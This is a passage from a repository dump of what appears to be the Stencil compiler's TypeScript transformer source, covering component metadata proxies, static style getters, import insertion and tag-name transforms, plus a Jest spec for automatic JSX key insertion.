createWorkerMainContext(workerCtrl);\n  }\n\n  config.logger.debug(\n    `no workers, maxConcurrentWorkers: ${config.maxConcurrentWorkers}, hardwareConcurrency: ${config.sys.hardwareConcurrency}`,\n  );\n  return createWorkerContext(config.sys);\n};\n"
  },
  {
    "path": "src/compiler/transformers/add-component-meta-proxy.ts",
    "content": "import { formatComponentRuntimeMeta } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { addCoreRuntimeApi, PROXY_CUSTOM_ELEMENT, RUNTIME_APIS } from './core-runtime-apis';\nimport { convertValueToLiteral } from './transform-utils';\n\nexport const addModuleMetadataProxies = (tsSourceFile: ts.SourceFile, moduleFile: d.Module) => {\n  const statements = tsSourceFile.statements.slice();\n\n  addCoreRuntimeApi(moduleFile, RUNTIME_APIS.proxyCustomElement);\n\n  statements.push(...moduleFile.cmps.map(createComponentMetadataProxy));\n\n  return ts.factory.updateSourceFile(tsSourceFile, statements);\n};\n\n/**\n * Create a call expression for wrapping a component in a proxy. This call expression takes a form:\n * ```ts\n * PROXY_CUSTOM_ELEMENT(ComponentClassName, Metadata);\n * ```\n * where\n * - `PROXY_CUSTOM_ELEMENT` is a Stencil internal identifier that will be replaced with the name of the actual function\n * name at compile time\n * - `ComponentClassName` is the name Stencil component's class\n * - `Metadata` is the compiler metadata associated with the Stencil component\n *\n * @param compilerMeta compiler metadata associated with the component to be wrapped in a proxy\n * @returns the generated call expression\n */\nconst createComponentMetadataProxy = (compilerMeta: d.ComponentCompilerMeta): ts.ExpressionStatement => {\n  const compactMeta: d.ComponentRuntimeMetaCompact = formatComponentRuntimeMeta(compilerMeta, true);\n\n  const literalCmpClassName = ts.factory.createIdentifier(compilerMeta.componentClassName);\n  const literalMeta = convertValueToLiteral(compactMeta);\n\n  return ts.factory.createExpressionStatement(\n    ts.factory.createCallExpression(\n      ts.factory.createIdentifier(PROXY_CUSTOM_ELEMENT),\n      [],\n      [literalCmpClassName, literalMeta],\n    ),\n  );\n};\n\n/**\n * Create a call expression for wrapping a component represented as a class\n * expression in a proxy. This call expression takes the form:\n *\n * ```ts\n * PROXY_CUSTOM_ELEMENT(Clazz, Metadata);\n * ```\n *\n * where\n * - `PROXY_CUSTOM_ELEMENT` is a Stencil internal identifier that will be\n *   replaced with the name of the actual function name at compile time\n * - `Clazz` is a class expression to be proxied\n * - `Metadata` is the compiler metadata associated with the Stencil component\n *\n * @param compilerMeta compiler metadata associated with the component to be\n * wrapped in a proxy\n * @param clazz the class expression to proxy\n * @returns the generated call expression\n */\nexport const createClassMetadataProxy = (\n  compilerMeta: d.ComponentCompilerMeta,\n  clazz: ts.ClassExpression,\n): ts.CallExpression => {\n  const compactMeta: d.ComponentRuntimeMetaCompact = formatComponentRuntimeMeta(compilerMeta, true);\n  const literalMeta = convertValueToLiteral(compactMeta);\n\n  return ts.factory.createCallExpression(ts.factory.createIdentifier(PROXY_CUSTOM_ELEMENT), [], [clazz, literalMeta]);\n};\n"
  },
  {
    "path": "src/compiler/transformers/add-component-meta-static.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { convertValueToLiteral, createStaticGetter, retrieveModifierLike } from './transform-utils';\n\n/**\n * Update an instance of TypeScript's Intermediate Representation (IR) for a\n * class declaration ({@link ts.ClassDeclaration}) with a static getter for the\n * compiler metadata that we produce as part of the compilation process.\n *\n * @param cmpNode an instance of the TypeScript IR for a class declaration (i.e.\n * a stencil component) to be updated\n * @param cmpMeta the component metadata corresponding to that component\n * @returns the updated typescript class declaration\n */\nexport const addComponentMetaStatic = (\n  cmpNode: ts.ClassDeclaration,\n  cmpMeta: d.ComponentCompilerMeta,\n): ts.ClassDeclaration => {\n  const publicCompilerMeta = getPublicCompilerMeta(cmpMeta);\n\n  const cmpMetaStaticProp = createStaticGetter('COMPILER_META', convertValueToLiteral(publicCompilerMeta));\n  const classMembers = [...cmpNode.members, cmpMetaStaticProp];\n\n  return ts.factory.updateClassDeclaration(\n    cmpNode,\n    retrieveModifierLike(cmpNode),\n    cmpNode.name,\n    cmpNode.typeParameters,\n    cmpNode.heritageClauses,\n    classMembers,\n  );\n};\n\nexport const getPublicCompilerMeta = (cmpMeta: d.ComponentCompilerMeta) => {\n  const publicCompilerMeta = Object.assign({}, cmpMeta);\n\n  // no need to copy all compiler meta data\n  delete publicCompilerMeta.assetsDirs;\n  delete publicCompilerMeta.dependencies;\n  delete publicCompilerMeta.excludeFromCollection;\n  delete publicCompilerMeta.isCollectionDependency;\n  delete publicCompilerMeta.docs;\n  delete publicCompilerMeta.jsFilePath;\n  delete publicCompilerMeta.potentialCmpRefs;\n  delete publicCompilerMeta.styleDocs;\n  delete publicCompilerMeta.sourceFilePath;\n\n  return publicCompilerMeta;\n};\n"
  },
  {
    "path": "src/compiler/transformers/add-imports.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { createImportStatement, createRequireStatement } from './transform-utils';\n\n/**\n * Create a new import statement, and update the provided source file with the newly created statement.\n *\n * The generated import statement will be placed at the beginning of the source file.\n *\n * The generated import statement will be either a commonjs require statement or esm import statement, based on the\n * provided transform options.\n *\n * The import statement may include more than one named imports (identifiers) for the provided import path.\n *\n * @param transformOpts transform options configured for the current output target transpilation\n * @param tsSourceFile the TypeScript source file that is being updated\n * @param importFnNames a collection of named imports to add to the generated import statement\n * @param importPath the path to the module that the collection of named imports should be imported from\n * @returns the updated TypeScript source file\n */\nexport const addImports = (\n  transformOpts: d.TransformOptions,\n  tsSourceFile: ts.SourceFile,\n  importFnNames: string[],\n  importPath: string,\n): ts.SourceFile => {\n  if (importFnNames.length === 0) {\n    return tsSourceFile;\n  }\n\n  if (transformOpts.module === 'cjs') {\n    // CommonJS require()\n    const newRequire = createRequireStatement(importFnNames, importPath);\n    const statements = tsSourceFile.statements.slice();\n    statements.splice(2, 0, newRequire);\n    return ts.factory.updateSourceFile(tsSourceFile, statements);\n  }\n\n  // ESM Imports\n  const newImport = createImportStatement(importFnNames, importPath);\n  const statements = tsSourceFile.statements.slice();\n  statements.unshift(newImport);\n  return ts.factory.updateSourceFile(tsSourceFile, statements);\n};\n"
  },
  {
    "path": "src/compiler/transformers/add-static-style.ts",
    "content": "import { dashToPascalCase, DEFAULT_STYLE_MODE } from '@utils';\nimport { scopeCss } from '@utils/shadow-css';\nimport ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { getScopeId } from '../style/scope-css';\nimport { addTagTransformToCssTsAST, createStaticGetter, getExternalStyles } from './transform-utils';\n\n/**\n * Adds static \"style\" getter within the class\n * ```typescript\n * const MyComponent = class {\n *   static get style() { return \"styles\"; }\n * }\n * ```\n * @param classMembers a class to existing members of a class. **this parameter will be mutated** rather than returning\n * a cloned version\n * @param cmp the metadata associated with the component being evaluated\n */\nexport const addStaticStyleGetterWithinClass = (\n  classMembers: ts.ClassElement[],\n  cmp: d.ComponentCompilerMeta,\n  buildCtx: d.BuildCtx,\n): void => {\n  const styleLiteral = getStyleLiteral(cmp, buildCtx);\n  if (styleLiteral) {\n    classMembers.push(createStaticGetter('style', styleLiteral));\n  }\n};\n\n/**\n * Adds static \"style\" property to the class variable.\n *\n * ```typescript\n * const MyComponent = class {}\n * MyComponent.style = \"styles\";\n * ```\n *\n * @param styleStatements a list of statements containing style assignments to a class\n * @param cmp the metadata associated with the component being evaluated\n */\nexport const addStaticStylePropertyToClass = (\n  styleStatements: ts.Statement[],\n  cmp: d.ComponentCompilerMeta,\n  buildCtx: d.BuildCtx,\n): void => {\n  const styleLiteral = getStyleLiteral(cmp, buildCtx);\n  if (styleLiteral) {\n    const statement = ts.factory.createExpressionStatement(\n      ts.factory.createAssignment(\n        ts.factory.createPropertyAccessExpression(ts.factory.createIdentifier(cmp.componentClassName), 'style'),\n        styleLiteral,\n      ),\n    );\n    styleStatements.push(statement);\n  }\n};\n\nconst getStyleLiteral = (cmp: d.ComponentCompilerMeta, buildCtx: d.BuildCtx) => {\n  if (Array.isArray(cmp.styles) && cmp.styles.length > 0) {\n    if (cmp.styles.length > 1 || (cmp.styles.length === 1 && cmp.styles[0].modeName !== DEFAULT_STYLE_MODE)) {\n      // multiple style modes\n      return getMultipleModeStyle(cmp, cmp.styles, buildCtx);\n    } else {\n      // single style\n      return getSingleStyle(cmp, cmp.styles[0], buildCtx);\n    }\n  }\n  return null;\n};\n\nconst getMultipleModeStyle = (cmp: d.ComponentCompilerMeta, styles: d.StyleCompiler[], buildCtx: d.BuildCtx) => {\n  const styleModes: ts.ObjectLiteralElementLike[] = [];\n\n  styles.forEach((style) => {\n    /**\n     * the order of these if statements must match with\n     * - {@link src/compiler/transformers/component-native/native-static-style.ts#addSingleStyleGetter}\n     * - {@link src/compiler/transformers/component-native/native-static-style.ts#addMultipleModeStyleGetter}\n     * - {@link src/compiler/transformers/add-static-style.ts#getMultipleModeStyle}\n     */\n    if (typeof style.styleStr === 'string') {\n      // inline the style string\n      // static get style() { return { ios: \"string\" }; }\n      const styleLiteral = createStyleLiteral(cmp, style, buildCtx);\n      const propStr = ts.factory.createPropertyAssignment(style.modeName, styleLiteral);\n      styleModes.push(propStr);\n    } else if (Array.isArray(style.externalStyles) && style.externalStyles.length > 0) {\n      // import generated from @Component() styleUrls option\n      // import myTagIosStyle from './import-path.css';\n      // static get style() { return { ios: myTagIosStyle }; }\n      const styleUrlIdentifier = createStyleIdentifier(cmp, style);\n      const propUrlIdentifier = ts.factory.createPropertyAssignment(style.modeName, styleUrlIdentifier);\n      styleModes.push(propUrlIdentifier);\n    } else if (typeof style.styleIdentifier === 'string') {\n      // direct import already written in the source code\n      // import myTagIosStyle from './import-path.css';\n      // static get style() { return { ios: myTagIosStyle }; }\n      const styleIdentifier = ts.factory.createIdentifier(style.styleIdentifier);\n      const propIdentifier = ts.factory.createPropertyAssignment(style.modeName, styleIdentifier);\n      styleModes.push(propIdentifier);\n    }\n  });\n\n  return ts.factory.createObjectLiteralExpression(styleModes, true);\n};\n\nconst getSingleStyle = (cmp: d.ComponentCompilerMeta, style: d.StyleCompiler, buildCtx: d.BuildCtx) => {\n  /**\n   * the order of these if statements must match with\n   * - {@link src/compiler/transformers/component-native/native-static-style.ts#addSingleStyleGetter}\n   * - {@link src/compiler/transformers/component-native/native-static-style.ts#addMultipleModeStyleGetter}\n   * - {@link src/compiler/transformers/add-static-style.ts#getSingleStyle}\n   */\n  if (typeof style.styleStr === 'string') {\n    // inline the style string\n    // static get style() { return \"string\"; }\n    return createStyleLiteral(cmp, style, buildCtx);\n  }\n\n  if (Array.isArray(style.externalStyles) && style.externalStyles.length > 0) {\n    // import generated from @Component() styleUrls option\n    // import myTagStyle from './import-path.css';\n    // static get style() { return myTagStyle; }\n    return createStyleIdentifier(cmp, style);\n  }\n\n  if (typeof style.styleIdentifier === 'string') {\n    // direct import already written in the source code\n    // import myTagStyle from './import-path.css';\n    // static get style() { return myTagStyle; }\n    return ts.factory.createIdentifier(style.styleIdentifier);\n  }\n\n  return null;\n};\n\nconst addTagTransform = (cssCode: string, buildCtx: d.BuildCtx) => {\n  if (!buildCtx.config.extras.additionalTagTransformers) {\n    return ts.factory.createNoSubstitutionTemplateLiteral(cssCode);\n  }\n  const tagNames = buildCtx.components.map((c) => c.tagName);\n  return addTagTransformToCssTsAST(cssCode, tagNames);\n};\n\nconst createStyleLiteral = (cmp: d.ComponentCompilerMeta, style: d.StyleCompiler, buildCtx: d.BuildCtx) => {\n  if (cmp.encapsulation === 'scoped') {\n    // scope the css first\n    const scopeId = getScopeId(cmp.tagName, style.modeName);\n    return addTagTransform(scopeCss(style.styleStr, scopeId, false), buildCtx);\n  }\n\n  return addTagTransform(style.styleStr, buildCtx);\n};\n\n/**\n * Helper method to create a style identifier for a component. The method\n * ensures that duplicate styles are removed and that the order of the styles is\n * preserved. It also ensures that the style identifier is unique.\n *\n * @param cmp the metadata associated with the component being evaluated\n * @param style style meta data\n * @returns an assignment expression to be applied to the `style` property of a component class (e.g. `_myComponentCssStyle + _myComponentIosCssStyle` based on the example)\n */\nexport const createStyleIdentifier = (cmp: d.ComponentCompilerMeta, style: d.StyleCompiler) => {\n  const externalStyles = getExternalStyles(style);\n  /**\n   * Set a styleIdentifier which will be propagated to the component and\n   * later picked up by rollup when it injects the parsed CSS directly into\n   * the component, see `compilerCtx.worker.transformCssToEsm` in\n   * `src/compiler/bundle/ext-transforms-plugin.ts`\n   */\n  style.styleIdentifier = dashToPascalCase(cmp.tagName.charAt(0).toLowerCase() + cmp.tagName.substring(1));\n  if (style.modeName !== DEFAULT_STYLE_MODE) {\n    style.styleIdentifier += dashToPascalCase(style.modeName);\n  }\n  style.styleIdentifier += 'Style';\n  return createIdentifierFromStyleIdentifier(style.styleIdentifier, Object.keys(externalStyles));\n};\n\n/**\n * Creates an expression to be assigned to the `style` property of a component class. For example\n * given the following component:\n *\n * ```ts\n * @Component({\n *  styleUrls: ['my-component.css', 'my-component.ios.css']\n *  tag: 'cmp',\n * })\n * export class MyComponent {\n *   // ...\n * }\n * ```\n *\n * it would generate the following expression:\n *\n * ```ts\n * import MyComponentStyle0 from './my-component.css';\n * import MyComponentStyle1 from './my-component.ios.css';\n * export class MyComponent {\n *   // ...\n * }\n * MyComponent.style = MyComponentStyle0 + MyComponentStyle1;\n * ```\n *\n * Note: style imports are made in [`createEsmStyleImport`](src/compiler/transformers/style-imports.ts).\n *\n * @param styleIdentifier identifier to be used for the style\n * @param externalStyleIds numeric ids of the external styles\n * @returns an assignment expression to be applied to the `style` property of a component class (e.g. `_myComponentCssStyle + _myComponentIosCssStyle` based on the example)\n */\nconst createIdentifierFromStyleIdentifier = (\n  styleIdentifier: string,\n  externalStyleIds: string[],\n): ts.CallExpression | ts.BinaryExpression => {\n  const id = externalStyleIds[0];\n\n  if (externalStyleIds.length === 1) {\n    return ts.factory.createCallExpression(ts.factory.createIdentifier(styleIdentifier + id), undefined, []);\n  }\n\n  return ts.factory.createBinaryExpression(\n    createIdentifierFromStyleIdentifier(styleIdentifier, [id]),\n    ts.SyntaxKind.PlusToken,\n    createIdentifierFromStyleIdentifier(styleIdentifier, externalStyleIds.slice(1)),\n  );\n};\n"
  },
  {
    "path": "src/compiler/transformers/add-tag-transform.ts",
    "content": "import ts from 'typescript';\nimport type * as d from '../../declarations';\nimport { getModuleFromSourceFile } from './transform-utils';\nimport { addCoreRuntimeApi, RUNTIME_APIS, TRANSFORM_TAG } from './core-runtime-apis';\nimport { parse, SelectorType, stringify } from 'css-what';\n\nexport const addTagTransform = (\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n): ts.TransformerFactory<ts.SourceFile> => {\n  return (transformCtx) => {\n    return (tsSourceFile) => {\n      const moduleFile = getModuleFromSourceFile(compilerCtx, tsSourceFile);\n      const tagNames = buildCtx.components.map((cmp) => cmp.tagName);\n\n      addCoreRuntimeApi(moduleFile, RUNTIME_APIS.transformTag);\n\n      const visitNode = (node: ts.Node): any => {\n        let newNode: ts.Node = node;\n\n        // turns `element.querySelector(\"my-tag\")` into `element.querySelector(`${transformTag(\"my-tag\")}`)`\n        if (ts.isCallExpression(node) && ts.isPropertyAccessExpression(node.expression)) {\n          const methodName = node.expression.name.text;\n\n          if (\n            (methodName === 'querySelector' || methodName === 'querySelectorAll' || methodName === 'closest') &&\n            node.arguments.length > 0\n          ) {\n            const selectorArgument = node.arguments[0];\n\n            if (ts.isStringLiteral(selectorArgument)) {\n              const selectorText = selectorArgument.text;\n              const parsed = parse(selectorText); // from css-what\n\n              const placeholders: string[] = [];\n              let modified = false;\n\n              // Replace tag tokens with placeholder tokens and record tag names\n              const transformed = parsed.map((subSelector) =>\n                subSelector.map((token) => {\n                  if (token.type === SelectorType.Tag && tagNames.includes(token.name)) {\n                    const idx = placeholders.length;\n                    placeholders.push(token.name);\n                    modified = true;\n                    return { ...token, name: `___EXPR_${idx}___` }; // safe placeholder\n                  }\n                  return token;\n                }),\n              );\n\n              if (modified) {\n                // stringify will produce a selector like \"div > ___EXPR_0___ + ___EXPR_1___[attr]\"\n                const selectorWithPlaceholders = stringify(transformed);\n\n                // Split into [literal, idx, literal, idx, literal, ...]\n                const splitParts = selectorWithPlaceholders.split(/___EXPR_(\\d+)___/);\n\n                // If no placeholders for whatever reason, fallback to original literal\n                if (!splitParts || splitParts.length === 0) {\n                  // fallback — keep original string literal\n                  newNode = ts.factory.updateCallExpression(node, node.expression, node.typeArguments, [\n                    ts.factory.createStringLiteral(selectorText),\n                    ...node.arguments.slice(1),\n                  ]);\n                } else {\n                  // Build TemplateExpression: head + spans\n                  const firstLiteral = splitParts[0] ?? '';\n                  const head = ts.factory.createTemplateHead(firstLiteral);\n\n                  const spans: ts.TemplateSpan[] = [];\n                  for (let i = 1; i < splitParts.length; i += 2) {\n                    const idxStr = splitParts[i];\n                    const literalAfter = splitParts[i + 1] ?? '';\n                    const exprIndex = Number(idxStr);\n                    const tagName = placeholders[exprIndex];\n\n                    // transformTag(\"tagName\")\n                    const callExpr = ts.factory.createCallExpression(\n                      ts.factory.createIdentifier(TRANSFORM_TAG),\n                      undefined,\n                      [ts.factory.createStringLiteral(tagName)],\n                    );\n\n                    const isLast = i + 1 >= splitParts.length - 1;\n                    const literalNode = isLast\n                      ? ts.factory.createTemplateTail(literalAfter)\n                      : ts.factory.createTemplateMiddle(literalAfter);\n\n                    spans.push(ts.factory.createTemplateSpan(callExpr, literalNode));\n                  }\n\n                  const templateExpr = ts.factory.createTemplateExpression(head, spans);\n\n                  // Replace the original selector arg with the template expression\n                  newNode = ts.factory.updateCallExpression(node, node.expression, node.typeArguments, [\n                    templateExpr,\n                    ...node.arguments.slice(1),\n                  ]);\n                }\n              }\n            }\n          }\n        }\n\n        // turns `customElements.get(\"my-tag\")` into `customElements.get(transformTag(\"my-tag\"))`\n\n        if (ts.isCallExpression(node)) {\n          const expression = node.expression;\n          if (\n            ts.isPropertyAccessExpression(expression) && // customElements.get / define / whenDefined\n            (((expression.name.text === 'get' ||\n              expression.name.text === 'define' ||\n              expression.name.text === 'whenDefined') &&\n              ts.isIdentifier(expression.expression) &&\n              expression.expression.text === 'customElements') ||\n              // document.createElement\n              (expression.name.text === 'createElement' &&\n                ts.isIdentifier(expression.expression) &&\n                expression.expression.text === 'document'))\n          ) {\n            const [firstArg, ...restArgs] = node.arguments;\n            if (firstArg) {\n              // Wrap the argument in transformTag(...)\n              const newFirstArg = ts.factory.createCallExpression(\n                ts.factory.createIdentifier(TRANSFORM_TAG),\n                undefined,\n                [firstArg],\n              );\n\n              newNode = ts.factory.updateCallExpression(node, node.expression, node.typeArguments, [\n                newFirstArg,\n                ...restArgs,\n              ]);\n            }\n          } else {\n            node.expression;\n          }\n        }\n\n        // turns el.tagName === 'my-tag' into el.tagName === transformTag('my-tag')\n        // or 'my-tag' == elTag into transformTag('my-tag') == elTag\n        // ... this feels like a bit much?\n\n        // if (ts.isBinaryExpression(node)) {\n        //   const { left, right, operatorToken } = node;\n        //   const stringLiteral = ts.isStringLiteral(left) ? left : ts.isStringLiteral(right) ? right : null;\n\n        //   if (stringLiteral && tagNames.includes(stringLiteral.text)) {\n        //     const transformedLiteral = ts.factory.createCallExpression(\n        //       ts.factory.createIdentifier(TRANSFORM_TAG),\n        //       undefined,\n        //       [ts.factory.createStringLiteral(stringLiteral.text)],\n        //     );\n\n        //     let newLeft = left;\n        //     let newRight = right;\n\n        //     if (stringLiteral === left) {\n        //       newLeft = transformedLiteral;\n        //     } else {\n        //       newRight = transformedLiteral;\n        //     }\n\n        //     newNode = ts.factory.updateBinaryExpression(node, newLeft, operatorToken, newRight);\n        //   }\n        // }\n\n        return ts.visitEachChild(newNode, visitNode, transformCtx);\n      };\n\n      tsSourceFile = ts.visitEachChild(tsSourceFile, visitNode, transformCtx);\n\n      return tsSourceFile;\n    };\n  };\n};\n"
  },
  {
    "path": "src/compiler/transformers/automatic-key-insertion/automatic-key-insertion.spec.ts",
    "content": "import { transpileModule } from '../test/transpile';\nimport { formatCode } from '../test/utils';\nimport * as keyInsertionUtils from './utils';\n\nfunction transpile(code: string) {\n  return transpileModule(code, null, null, []);\n}\n\ndescribe('automatic key insertion', () => {\n  afterEach(() => {\n    jest.clearAllMocks();\n  });\n\n  it('should add a key to one JSX opener', async () => {\n    jest.spyOn(keyInsertionUtils, 'deriveJSXKey').mockReturnValue('test-key');\n    const t = transpile(`\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n        render() {\n          return <div>test</div>\n      }\n    }`);\n\n    expect(await formatCode(t.outputText)).toBe(\n      `export class CmpA {\n  render() {\n    return h('div', { key: 'test-key' }, 'test');\n  }\n  static get is() {\n    return 'cmp-a';\n  }\n}\n`,\n    );\n  });\n\n  it('should add a key to nested JSX', async () => {\n    jest.spyOn(keyInsertionUtils, 'deriveJSXKey').mockReturnValueOnce('key1').mockReturnValueOnce('key2');\n    const t = transpile(`\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n        render() {\n          return <div>test<img src=\"image.png\" /></div>\n      }\n    }`);\n\n    expect(await formatCode(t.outputText)).toBe(\n      `export class CmpA {\n  render() {\n    return h('div', { key: 'key1' }, 'test', h('img', { key: 'key2', src: 'image.png' }));\n  }\n  static get is() {\n    return 'cmp-a';\n  }\n}\n`,\n    );\n  });\n\n  it('should add a key to one JSX opener w/ existing attr', async () => {\n    jest.spyOn(keyInsertionUtils, 'deriveJSXKey').mockReturnValue('test-key');\n    const t = transpile(`\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n        render() {\n          return <div class=\"foo\">test</div>\n      }\n    }`);\n\n    expect(await formatCode(t.outputText)).toBe(\n      `export class CmpA {\n  render() {\n    return h('div', { key: 'test-key', class: 'foo' }, 'test');\n  }\n  static get is() {\n    return 'cmp-a';\n  }\n}\n`,\n    );\n  });\n\n  it('should add a key to a self-closing JSX element', async () => {\n    jest.spyOn(keyInsertionUtils, 'deriveJSXKey').mockReturnValue('img-key');\n    const t = transpile(`\n     @Component({tag: 'cmp-a'})\n      export class CmpA {\n        render() {\n          return <img />\n      }\n    }`);\n\n    expect(await formatCode(t.outputText)).toBe(\n      `export class CmpA {\n  render() {\n    return h('img', { key: 'img-key' });\n  }\n  static get is() {\n    return 'cmp-a';\n  }\n}\n`,\n    );\n  });\n\n  it('should add a key to a self-closing JSX element w/ existing attr', async () => {\n    jest.spyOn(keyInsertionUtils, 'deriveJSXKey').mockReturnValue('img-key');\n    const t = transpile(`\n     @Component({tag: 'cmp-a'})\n      export class CmpA {\n        render() {\n          return <img src=\"my-img.png\" />\n      }\n    }`);\n\n    expect(await formatCode(t.outputText)).toBe(\n      `export class CmpA {\n  render() {\n    return h('img', { key: 'img-key', src: 'my-img.png' });\n  }\n  static get is() {\n    return 'cmp-a';\n  }\n}\n`,\n    );\n  });\n\n  it('should add unique keys to multiple JSX elements', async () => {\n    jest.spyOn(keyInsertionUtils, 'deriveJSXKey').mockReturnValueOnce('first-key').mockReturnValueOnce('second-key');\n    const t = transpile(`\n     @Component({tag: 'cmp-a'})\n      export class CmpA {\n        render() {\n          return <div><img src=\"my-img.png\" /></div>\n      }\n    }`);\n\n    expect(await formatCode(t.outputText)).toBe(\n      `export class CmpA {\n  render() {\n    return h('div', { key: 'first-key' }, h('img', { key: 'second-key', src: 'my-img.png' }));\n  }\n  static get is() {\n    return 'cmp-a';\n  }\n}\n`,\n    );\n  });\n\n  it('should respect an existing key', async () => {\n    jest.spyOn(keyInsertionUtils, 'deriveJSXKey').mockReturnValue('never-key');\n    const t = transpile(`\n     @Component({tag: 'cmp-a'})\n      export class CmpA {\n        render() {\n          return <div key=\"my-key\">hey</div>\n      }\n    }`);\n\n    expect(await formatCode(t.outputText)).toBe(\n      `export class CmpA {\n  render() {\n    return h('div', { key: 'my-key' }, 'hey');\n  }\n  static get is() {\n    return 'cmp-a';\n  }\n}\n`,\n    );\n  });\n\n  it('should respect an existing key in a loop', async () => {\n    jest.spyOn(keyInsertionUtils, 'deriveJSXKey').mockReturnValueOnce('once-key');\n    const t = transpile(`\n     @Component({tag: 'cmp-a'})\n     export class CmpA {\n        render() {\n          return (\n            <div>\n              {this.todos.map((todo) => (\n                <div key={todo}>{ todo }</div>\n              ))}\n            </div>\n          )\n      }\n    }`);\n    expect(await formatCode(t.outputText)).toBe(\n      `export class CmpA {\n  render() {\n    return h(\n      'div',\n      { key: 'once-key' },\n      this.todos.map((todo) => h('div', { key: todo }, todo)),\n    );\n  }\n  static get is() {\n    return 'cmp-a';\n  }\n}\n`,\n    );\n  });\n\n  it('should not add a static key to dynamic elements', async () => {\n    jest.spyOn(keyInsertionUtils, 'deriveJSXKey').mockReturnValueOnce('once-key');\n    const t = transpile(`\n     @Component({tag: 'cmp-a'})\n     export class CmpA {\n        render() {\n          return (\n            <div>\n              {this.todos.map((todo) => (\n                <div>{ todo }</div>\n              ))}\n            </div>\n          )\n      }\n    }`);\n    expect(await formatCode(t.outputText)).toBe(\n      `export class CmpA {\n  render() {\n    return h(\n      'div',\n      { key: 'once-key' },\n      this.todos.map((todo) => h('div', null, todo)),\n    );\n  }\n  static get is() {\n    return 'cmp-a';\n  }\n}\n`,\n    );\n  });\n\n  it('should not transform JSX inside of a ternary', async () => {\n    jest.spyOn(keyInsertionUtils, 'deriveJSXKey').mockReturnValue('shouldnt-see-key');\n    const t = transpile(`\n     @Component({tag: 'cmp-a'})\n     export class CmpA {\n       yes = false;\n       render() {\n         return this.yes ? <span>yes</span> : <span>no</span>\n       }\n     }`);\n    expect(await formatCode(t.outputText)).toBe(\n      `export class CmpA {\n  constructor() {\n    this.yes = false;\n  }\n  render() {\n    return this.yes ? h('span', null, 'yes') : h('span', null, 'no');\n  }\n  static get is() {\n    return 'cmp-a';\n  }\n}\n`,\n    );\n  });\n\n  it('should add a key to a conditionally-rendered static element', async () => {\n    jest\n      .spyOn(keyInsertionUtils, 'deriveJSXKey')\n      .mockReturnValueOnce('my-best-key')\n      .mockReturnValueOnce('my-worst-key');\n    const t = transpile(`\n     @Component({tag: 'cmp-a'})\n     export class CmpA {\n       yes = false;\n       render() {\n         return (\n           <div>\n             { someConditional && <span>inner</span> }\n           </div>\n         )\n       }\n     }`);\n    expect(await formatCode(t.outputText)).toBe(\n      `export class CmpA {\n  constructor() {\n    this.yes = false;\n  }\n  render() {\n    return h('div', { key: 'my-best-key' }, someConditional && h('span', { key: 'my-worst-key' }, 'inner'));\n  }\n  static get is() {\n    return 'cmp-a';\n  }\n}\n`,\n    );\n  });\n\n  it('should not add a key to an IIFE in JSX', async () => {\n    jest\n      .spyOn(keyInsertionUtils, 'deriveJSXKey')\n      .mockReturnValueOnce('my-best-key')\n      .mockReturnValueOnce('my-worst-key');\n    const t = transpile(`\n     @Component({tag: 'cmp-a'})\n     export class CmpA {\n       yes = false;\n       render() {\n         return (\n           <div>\n             { (() => <div>foo</div>)() }\n           </div>\n         )\n       }\n     }`);\n    expect(await formatCode(t.outputText)).toBe(\n      `export class CmpA {\n  constructor() {\n    this.yes = false;\n  }\n  render() {\n    return h('div', { key: 'my-best-key' }, (() => h('div', null, 'foo'))());\n  }\n  static get is() {\n    return 'cmp-a';\n  }\n}\n`,\n    );\n  });\n\n  it('should not add a key within function arguments in JSX', async () => {\n    jest\n      .spyOn(keyInsertionUtils, 'deriveJSXKey')\n      .mockReturnValueOnce('my-best-key')\n      .mockReturnValueOnce('my-worst-key');\n    const t = transpile(`\n     @Component({tag: 'cmp-a'})\n     export class CmpA {\n       yes = false;\n       render() {\n         return (\n           <div>\n             { func(<div>foo</div>) }\n           </div>\n         )\n       }\n     }`);\n    expect(await formatCode(t.outputText)).toBe(\n      `export class CmpA {\n  constructor() {\n    this.yes = false;\n  }\n  render() {\n    return h('div', { key: 'my-worst-key' }, func(h('div', null, 'foo')));\n  }\n  static get is() {\n    return 'cmp-a';\n  }\n}\n`,\n    );\n  });\n\n  it('should not transform JSX in methods with multiple returns', async () => {\n    jest.spyOn(keyInsertionUtils, 'deriveJSXKey').mockReturnValue('shouldnt-see-key');\n    const t = transpile(`\n     @Component({tag: 'cmp-a'})\n     export class CmpA {\n       booleo = false;\n       render() {\n         if (this.booleo) {\n           return <div>early!</div>;\n         }\n         return <div>late!</div>;\n       }\n     }`);\n    expect(await formatCode(t.outputText)).toBe(\n      `export class CmpA {\n  constructor() {\n    this.booleo = false;\n  }\n  render() {\n    if (this.booleo) {\n      return h('div', null, 'early!');\n    }\n    return h('div', null, 'late!');\n  }\n  static get is() {\n    return 'cmp-a';\n  }\n}\n`,\n    );\n  });\n\n  it('should not edit a non-stencil class', async () => {\n    jest.spyOn(keyInsertionUtils, 'deriveJSXKey').mockReturnValue(\"shouldn't see this!\");\n    const t = transpile(`\n      export class CmpA {\n        render() {\n          return <div>hey</div>\n      }\n    }`);\n\n    expect(await formatCode(t.outputText)).toBe(\n      `export class CmpA {\n  render() {\n    return h('div', null, 'hey');\n  }\n}\n`,\n    );\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/automatic-key-insertion/index.ts",
